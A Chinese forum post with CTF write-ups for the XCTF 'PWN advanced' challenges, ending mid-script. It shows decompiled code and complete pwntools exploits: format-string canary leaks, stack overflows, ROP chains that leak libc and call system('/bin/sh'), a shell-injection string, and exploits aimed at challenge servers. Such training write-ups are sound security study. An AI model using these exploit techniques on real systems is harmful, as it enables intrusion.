4

攻防世界-PWN-高手进阶区-难度3到4-全部题解

 3 years ago
source link: https://bbs.pediy.com/thread-268059.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
攻防世界-PWN-高手进阶区-难度3到4-全部题解-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
攻防世界-PWN-高手进阶区-难度3到4-全部题解
2021-6-12 02:00 3358

通过攻防世界的一些入门难度的题目来学习最基本的漏洞利用技巧,以及提高代码审计的能力。传送门:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=1

总结可能用到的知识点:

放上我常用的做题模板:

import sys
from pwn import *
from LibcSearcher import LibcSearcher
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
context.log_level = "DEBUG"
pwn_file = './pwn7'
elf = ELF(pwn_file)
if len(sys.argv) < 2:
IS_LOCAL = 1
io = process(pwn_file)
else:
IS_LOCAL = 0
sys_argv = sys.argv[1].split(':')
io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
payload = '1'+'\x00'*6+'\xFF\x00'
'''
if IS_LOCAL:
gdb.attach(io,"break *0x8048824\nc")
pause()
'''
se(payload)
puts_addr = u32(io.recv()[:4])
if IS_LOCAL:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
else:
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
#or choose to use LibcSearcher
'''
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
payload = 'A'*235+p32(system_addr)+p32(0xdeadbeef)+p32(str_bin_sh)
se(payload)
sconnect()

需要打服务器的时候直接加个参数就可以:

python exp.py  111.200.241.244:56070

TASKS

pwn-200

《CTF竞赛指南》上有详解。

pwn-100

《CTF竞赛指南》上有详解。

time_formatter

这个题目涉及的漏洞是悬空指针(dangling pointer)和UAF:

__int64 sub_400F8F()
{
__int64 result; // rax
char s[16]; // [rsp+8h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
free_400C7E(FORMAT_BUF_HEAP);                 // double free
free_400C7E(time_zone_heap);
__printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(s, 16, stdin);
result = 0LL;
if ( (s[0] & 0xDF) == 'Y' )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

可以看到,指针在用户确定退出之前就已经free了,free之后也没有及时指向NULL。这导致我们可以重新申请format_buf指向的堆内存,然后给予其新的值。再来看看show部分的代码:

__int64 sub_400EA3()
{
char command[2048]; // [rsp+8h] [rbp-810h] BYREF
unsigned __int64 v2; // [rsp+808h] [rbp-10h]
v2 = __readfsqword(0x28u);
if ( FORMAT_BUF_HEAP )
{
__snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", TIME, FORMAT_BUF_HEAP);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", command);
setenv("TZ", time_zone_heap, 1);
system(command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

可以看到如果设置了环境变量会有不少提示信息,我们这里设置一个临时变量:

export DEBUG=1

然后看到程序中有system函数,而且部分参数是我们提供的输入;我们应该想到这里可以用'闭合命令,然后用管道执行一个新的命令。程序的本意是想执行这样的一条命令:

date -d @1568880277 +"%Y-%m-%d %H:%M:%S"
2019-09-19 16:04:37

我们想要执行这样一个命令:

/bin/date -d @0 +'%y' | cat 'flag'

根据以上思路,利用悬空指针漏洞绕过检查找出flag的值:

dc@ubuntu:~/playground$ ./time_formatter
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: b
strdup(0x7fffffffd948) = 0x603420
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
free(0x603420)
free((nil))
Are you sure you want to exit (y/N)? n
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: %y' | cat 'flag     
strdup(0x7fffffffd948) = 0x603420     # assert timeformat_buf == timezone
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: Running command: /bin/date -d @0 +'%y' | cat 'flag'
flag{ABCD}
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> ^C

Mary_Morton

拿到程序先看下信息:

dc@ubuntu:~/playground$ file 22e2d7579d2d4359a5a1735edddef631
22e2d7579d2d4359a5a1735edddef631: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
dc@ubuntu:~/playground$ pwn checksec 22e2d7579d2d4359a5a1735edddef631
[*] '/home/dc/playground/22e2d7579d2d4359a5a1735edddef631'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

我们需要绕过金丝雀,再看程序关键流程如下:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}
unsigned int sub_4009FF()
{
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return alarm(0x14u);
}
int sub_4009DA()
{
puts("1. Stack Bufferoverflow Bug ");
puts("2. Format String Bug ");
return puts("3. Exit the battle ");
}

非常友好的题目(骗新人入坑
两个有漏洞的函数:

unsigned __int64 sub_4008EB()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x7FuLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_400960()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL);
printf("-> %s\n", buf);
return __readfsqword(0x28u) ^ v2;
}

第一个函数的printf函数的格式化字符串由用户控制,第二个函数可从一开始的定义看出buf的缓冲区最多只有0x90的大小,而程序却可以接受0x100大小的输入,这将导致栈溢出。
最终,随便点击函数列表中的函数,发现了win函数:

int sub_4008DA()
{
return system("/bin/cat ./flag");
}

到此,漏洞利用的一个思路基本可表示为一下三步:

  1. 利用字符串格式化漏洞获得程序的canary
  2. 进入第二个函数,测算到canary的距离,将获得的canary部署在栈上
  3. 控制返回地址为cat flag函数的地址

由以上几步做exp如下:

from pwn import *
context.log_level = "DEBUG"
io = process('./22e2d7579d2d4359a5a1735edddef631')
io.recv()
io.send('2\n')
io.send('%23$p\n')
canary = int(io.recvline(),16)
log.info('canary == 0x%x' % canary)
io.recv()
io.send('1\n')
io.send('A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(0x4008DA))
io.recv()
dc@ubuntu:~/playground$ echo 'my_flag{123}' > flag
dc@ubuntu:~/playground$ python payload_22e2.py
[+] Starting local process './22e2d7579d2d4359a5a1735edddef631' argv=['./22e2d7579d2d4359a5a1735edddef631'] : pid 85064
[DEBUG] Received 0x8f bytes:
'Welcome to the battle ! \n'
'[Great Fairy] level pwned \n'
'Select your weapon \n'
'1. Stack Bufferoverflow Bug \n'
'2. Format String Bug \n'
'3. Exit the battle \n'
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Sent 0x6 bytes:
'%23$p\n'
[DEBUG] Received 0x5a bytes:
'0x433c813a1d175800\n'
'1. Stack Bufferoverflow Bug \n'
'2. Format String Bug \n'
'3. Exit the battle \n'
[*] canary == 0x433c813a1d175800
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0xa0 bytes:
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
*
00000080  41 41 41 41  41 41 41 41  00 58 17 1d  3a 81 3c 43  │AAAA│AAAA│·X··│:·<C│
00000090  ef be ad de  00 00 00 00  da 08 40 00  00 00 00 00  │····│····│··@·│····│
000000a0
[DEBUG] Received 0x99 bytes:
'-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
'my_flag{123}\n'

dice_game

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './dice_game'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','55568')
#---------------------------------------------------------
payload = 'A'*0x40+p64(0)
nums = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
sa("Welcome, let me know your name: ",payload)
for index in range(50):
sa("Give me the point(1~6): ",str(nums[index])+'\n')
rv()
print(rv())

forgot

这题有点意思:

int __cdecl main()
{
size_t v0; // ebx
char input[32]; // [esp+10h] [ebp-74h] BYREF
_DWORD v3[10]; // [esp+30h] [ebp-54h]
char name[32]; // [esp+58h] [ebp-2Ch] BYREF
int choice; // [esp+78h] [ebp-Ch]
size_t index; // [esp+7Ch] [ebp-8h]
choice = 1;
v3[0] = sub_8048604;
v3[1] = sub_8048618;
v3[2] = sub_804862C;
v3[3] = sub_8048640;
v3[4] = sub_8048654;
v3[5] = sub_8048668;
v3[6] = sub_804867C;
v3[7] = sub_8048690;
v3[8] = sub_80486A4;
v3[9] = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(name, 32, stdin);
sub_80485DD(name);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", input);                  // may stack overflow
for ( index = 0; ; ++index )
{
v0 = index;
if ( v0 >= strlen(input) )
break;
switch ( choice )
{
case 1:
if ( sub_8048702(input[index]) )
choice = 2;
break;
case 2:
if ( input[index] == '@' )
choice = 3;
break;
case 3:
if ( sub_804874C(input[index]) )
choice = 4;
break;
case 4:
if ( input[index] == '.' )
choice = 5;
break;
case 5:
if ( sub_8048784(input[index]) )
choice = 6;
break;
case 6:
if ( sub_8048784(input[index]) )
choice = 7;
break;
case 7:
if ( sub_8048784(input[index]) )
choice = 8;
break;
case 8:
if ( sub_8048784(input[index]) )
choice = 9;
break;
case 9:
choice = 10;
break;
default:
continue;
}
}
(v3[--choice])();
return fflush(stdout);
}

有几个函数点击去看看,大概能猜到题目说的email是迷惑信息:

int sub_8048604()
{
return puts("Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?");
}

所以查看下汇编:

.text:08048A40                 mov     ebx, [esp+7Ch]
.text:08048A44                 lea     eax, [esp+84h+input]
.text:08048A48                 mov     [esp], eax      ; s
.text:08048A4B                 call    _strlen
.text:08048A50                 cmp     ebx, eax
.text:08048A52                 jb      loc_80488CF
.text:08048A58                 sub     dword ptr [esp+78h], 1
.text:08048A5D                 mov     eax, [esp+78h]
.text:08048A61                 mov     eax, [esp+eax*4+30h]
.text:08048A65                 call    eax

接受完数据后,程序直接跳到栈上某地址,调试中确定位置:

─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048a52                  jb     0x80488cf
0x8048a58                  sub    DWORD PTR [esp+0x78], 0x1
0x8048a5d                  mov    eax, DWORD PTR [esp+0x78]
→  0x8048a61                  mov    eax, DWORD PTR [esp+eax*4+0x30]
0x8048a65                  call   eax
0x8048a67                  mov    eax, ds:0x804b060
0x8048a6c                  mov    DWORD PTR [esp], eax
0x8048a6f                  call   0x8048450 <fflush@plt>
0x8048a74                  mov    ebx, DWORD PTR [ebp-0x4]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "forgot", stopped 0x8048a61 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048a61 → mov eax, DWORD PTR [esp+eax*4+0x30]
[#1] 0xf7d57647 → __libc_start_main()
[#2] 0x8048501 → hlt
────────────────────────────────────────────────────────────────────────────────
gef➤  dereference $esp 40
0xff885aa0+0x0000: 0xff885ab0  →  0x41414141     ← $esp
0xff885aa4+0x0004: 0xff885ab0  →  0x41414141
0xff885aa8+0x0008: 0xf7ef25a0  →  0xfbad2088
0xff885aac+0x000c: 0x00000000
0xff885ab0+0x0010: 0x41414141
0xff885ab4+0x0014: 0x41414141
0xff885ab8+0x0018: 0x41414141
0xff885abc+0x001c: 0x41414141
0xff885ac0+0x0020: 0x41414141
0xff885ac4+0x0024: 0x41414141
0xff885ac8+0x0028: 0x41414141
0xff885acc+0x002c: 0x41414141
0xff885ad0+0x0030: 0x080486cc  →   push ebp

最终exp:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 1
context.log_level = "DEBUG"
pwn_file = './forgot'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','57736')
#---------------------------------------------------------
payload = 'A'*8*4 + p32(0x80486CC)
if IS_LOCAL:
gdb.attach(io,"break *0x8048A61\nc")
pause()
sa("> ",'noname\n')
sa("> ",payload+'\n')
rv()
rv()
rv()

warmup

from pwn import *
context.log_level = "DEBUG"
#io = process('./warmup_csaw_2016')
io = remote('node3.buuoj.cn','26740')
io.recv()
io.sendline('A'*0x48+p64(0x40060d))
io.recv()

stack2

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int len; // [esp+18h] [ebp-90h]
unsigned int choice; // [esp+1Ch] [ebp-8Ch]
int num; // [esp+20h] [ebp-88h]
unsigned int index_j; // [esp+24h] [ebp-84h]
int sum; // [esp+28h] [ebp-80h]
unsigned int index; // [esp+2Ch] [ebp-7Ch]
unsigned int index_k; // [esp+30h] [ebp-78h]
unsigned int index_i; // [esp+34h] [ebp-74h]
char nums[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
sum = 0;
puts("***********************************************************");
puts("*                      An easy calc                       *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256)                                           *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &len);
puts("Give me your numbers");
for ( index = 0; index < len && index <= 99; ++index )
{
__isoc99_scanf("%d", &num);
nums[index] = num;
}
for ( index_j = len; ; printf("average is %.2lf\n", (sum / index_j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &choice);
if ( choice != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &num);
if ( index_j <= 99 )
{
v3 = index_j++;
nums[v3] = num;
}
}
if ( choice > 2 )
break;
if ( choice != 1 )
return 0;
puts("id\t\tnumber");
for ( index_k = 0; index_k < index_j; ++index_k )
printf("%d\t\t%d\n", index_k, nums[index_k]);
}
if ( choice != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &len);
puts("new number:");
__isoc99_scanf("%d", &num);
nums[len] = num;                \\ dangrous
}
if ( choice != 4 )
break;
sum = 0;
for ( index_i = 0; index_i < index_j; ++index_i )
sum += nums[index_i];
}
return 0;
}

可以发现我注释的代码,利用这段代码可以向着栈内写一个字节的数据,所以这是一个简单的ret2win咯,只要将返回地址byte by byte改成win函数即可:

int hackhere()
{
return system("/bin/bash");
}

然而实际打过去服务器发现:

[DEBUG] Received 0x1c bytes:
'sh: 1: /bin/bash: not found\n'
sh: 1: /bin/bash: not found

看上去调用bash失败了,这咋办呢。看了师傅们的wp我发现原来可以直接以这种形式返回shell:

system('sh');

最终exp:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './stack2'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','63716')
#---------------------------------------------------------
sa("How many numbers you have:",'1\n')
rv()
sl('1')
win_addr = 0x804859B
winaddrs = [0x9B,0x85,0x04,0x08]
bin_str_addr = 0x08048987
str_addrs = [0x87,0x89,0x04,0x08]
system_plt = 0x08048450
system_plt_addrs = [0x50,0x84,0x04,0x08]
if IS_LOCAL:
gdb.attach(io,"break *0x80488EE\nc")
pause()
#set ret addr
for index in range(4):
sa('5. exit\n','3\n')
sa('which number to change:\n',str(0x84+index)+'\n')
sa('new number:\n',str(winaddrs[index])+'\n')
else:
#set ret addr
for index in range(4):
sa('5. exit\n','3\n')
sa('which number to change:\n',str(0x84+index)+'\n')
sa('new number:\n',str(system_plt_addrs[index])+'\n')
#set pointer to 'sh'
for index in range(4):
sa('5. exit\n','3\n')
sa('which number to change:\n',str(0x84+8+index)+'\n')
sa('new number:\n',str(str_addrs[index])+'\n')
rv()
sl('5')
sconnect()

monkey

发现是js命令,通过help()查看帮助,发现可以用os.system调用命令:

dc@ubuntu:~/playground/monkey$ socat - TCP:111.200.241.244:53325
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{6af2fc8d7f14004c0415141a4e9a2284}

最基础的x64栈溢出:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './babystack'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','57616')
#---------------------------------------------------------
#0x0000000000400a93 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400a93
main_addr = 0x400908
payload1 = 'A'*0x88+'C'
'''
if IS_LOCAL:
gdb.attach(io,"break *0x8048824\nc")
pause()
'''
sa('>> ','1\n')
se(payload1)
sa('>> ','2\n')
io.recvuntil('C')
tmp = io.recv(7)
canary = u64('\x00' + tmp)
log.info("canary: 0x%x"%canary)
sa('>> ','1\n')
payload2 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
se(payload2)
sa('>> ','3\n')
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,'\x00'))
if IS_LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search('/bin/sh'))
else:
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search('/bin/sh'))
'''
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
sa('>> ','1\n')
payload3 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
se(payload3)
sa('>> ','3\n')
sconnect()

最坑的是给出./libc-2.23.so找偏移打过去发现不对:

[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
'sh: 1: '
sh: 1: [DEBUG] Received 0x39 bytes:
'd: not found\n'
'--------\n'
'1.store\n'
'2.print\n'
'3.quit\n'
'--------\n'
'>> '
d: not found

后来还是用LibcSearch搞定:

[DEBUG] Received 0x2d bytes:
'\n'
'--------\n'
'1.store\n'
'2.print\n'
'3.quit\n'
'--------\n'
'>> '
Multi Results:
0: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
3: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
4: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] puts_addr: 0x7fcdf3827690
[*] system_addr: 0x7fcdf37fd390
[*] str_bin_sh: 0x7fcdf3944d57
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0xb0 bytes:
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
*
00000080  41 41 41 41  41 41 41 41  00 c3 55 2b  79 4c 71 94  │AAAA│AAAA│··U+│yLq·│
00000090  ef be ad de  00 00 00 00  93 0a 40 00  00 00 00 00  │····│····│··@·│····│
000000a0  57 4d 94 f3  cd 7f 00 00  90 d3 7f f3  cd 7f 00 00  │WM··│····│····│····│
000000b0
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Received 0x2c bytes:
'--------\n'
'1.store\n'
'2.print\n'
'3.quit\n'
'--------\n'
'>> '
[DEBUG] Sent 0x2 bytes:
'3\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}\n'
cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}
$

welpwn

嗯这题也有点意思:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1024]; // [rsp+0h] [rbp-400h] BYREF
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, buf, 1024uLL);
echo(buf);
return 0;
}
int __fastcall echo(__int64 buf)
{
char input[16]; // [rsp+10h] [rbp-10h] BYREF
for ( index = 0; *(index + buf); ++index )
input[index] = *(index + buf);              // may stack overflow
input[index] = 0;
if ( !strcmp("ROIS", input) )
{
printf("RCTF{Welcome}");
puts(" is not flag");
}
return printf("%s", input);
}

可以看到被调用的函数将传入的参数直接拷贝在局部变量,由于传入的参数,被调用函数的变量都在栈上,所以栈的视图大概是:

|var data abc|
|rbp|
|ret|
|argument data abc|

如果用传统的rop:

payload = 'A'*0x18+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

拷贝完栈中是这样:

0x00007fffffffd950+0x0010: 0x4141414141414141
0x00007fffffffd958+0x0018: 0x4141414141414141
0x00007fffffffd960+0x0020: 0x4141414141414141     ← $rbp
0x00007fffffffd968+0x0028: 0x00000000004008a3  →  <__libc_csu_init+99> pop rdi
0x00007fffffffd970+0x0030: 0x4141414141414141     ← $rsi, $rdi
0x00007fffffffd978+0x0038: 0x4141414141414141
0x00007fffffffd980+0x0040: 0x4141414141414141
0x00007fffffffd988+0x0048: 0x00000000004008a3  →  <__libc_csu_init+99> pop r

要覆盖栈,所以需要padding(414141),但正因为有padding,所以必须要有gadget帮助跳过padding:

payload = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

这样拷贝后就可以正常利用了:

0x00007fffffffd940+0x0000: 0x00000001f7dd7450     ← $rsp
0x00007fffffffd948+0x0008: 0x00007fffffffd970  →  0x4141414141414141
0x00007fffffffd950+0x0010: 0x4141414141414141
0x00007fffffffd958+0x0018: 0x4141414141414141
0x00007fffffffd960+0x0020: 0x4141414141414141     ← $rbp
0x00007fffffffd968+0x0028: 0x000000000040089e  →  <__libc_csu_init+94> pop r13
0x00007fffffffd970+0x0030: 0x4141414141414141     ← $rsi, $rdi
0x00007fffffffd978+0x0038: 0x4141414141414141
0x00007fffffffd980+0x0040: 0x4141414141414141
0x00007fffffffd988+0x0048: 0x000000000040089e  →  <__libc_csu_init+94> pop r13
0x00007fffffffd990+0x0050: 0x0000000000000001
0x00007fffffffd998+0x0058: 0x0000000000000002
0x00007fffffffd9a0+0x0060: 0x0000000000000003
0x00007fffffffd9a8+0x0068: 0x00000000004008a3  →  <__libc_csu_init+99> pop rdi
0x00007fffffffd9b0+0x0070: 0x0000000000601018  →  0x00000000004005a6  →  0xffe0e90000000068 ("h"?)
0x00007fffffffd9b8+0x0078: 0x00000000004005a0  →  <puts@plt+0> jmp QWORD PTR [rip+0x200a72]        # 0x601018 <[email protected]>
0x00007fffffffd9c0+0x0080: 0x00000000004007cd  →  <main+0> push rbp

exp如下:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 1
context.log_level = "DEBUG"
pwn_file = './welpwn'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','59488')
#---------------------------------------------------------
#0x00000000004008a3 : pop rdi ; ret
#0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
_3pop_ret = 0x000000000040089e
pop_rdi_ret = 0x00000000004008a3
main_addr = 0x4007CD
payload = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
#payload = 'A'*0x18+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
if IS_LOCAL:
gdb.attach(io,"break *0x400782\nc")
pause()
sa("Welcome to RCTF\n",payload)
io.recvuntil('\x40')
puts_addr = u64(io.recvline()[:-1].ljust(8,'\x00'))
if IS_LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search('/bin/sh'))
else:
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
payload2 = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
if IS_LOCAL:
sa("Welcome to RCTF\n",payload2)
else:
se(payload2)
sconnect()

反应釜开关控制

简单题目:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './aaa'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','58023')
#---------------------------------------------------------
payload = 'A'*0x208+p64(0x4005F6)
rv()
sl(payload)
sconnect()

实时数据监测

简单的字符串格式化漏洞,先gdb调试出offset是12,然后直接用工具自动生成payload:

from pwn import *
from LibcSearcher import LibcSearcher
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './data_monitor'
elf = ELF(pwn_file)
if IS_LOCAL:
io = process(pwn_file)
else:
io = remote('111.200.241.244','50322')
#---------------------------------------------------------
offest = 12
target_addr = 0x804A048
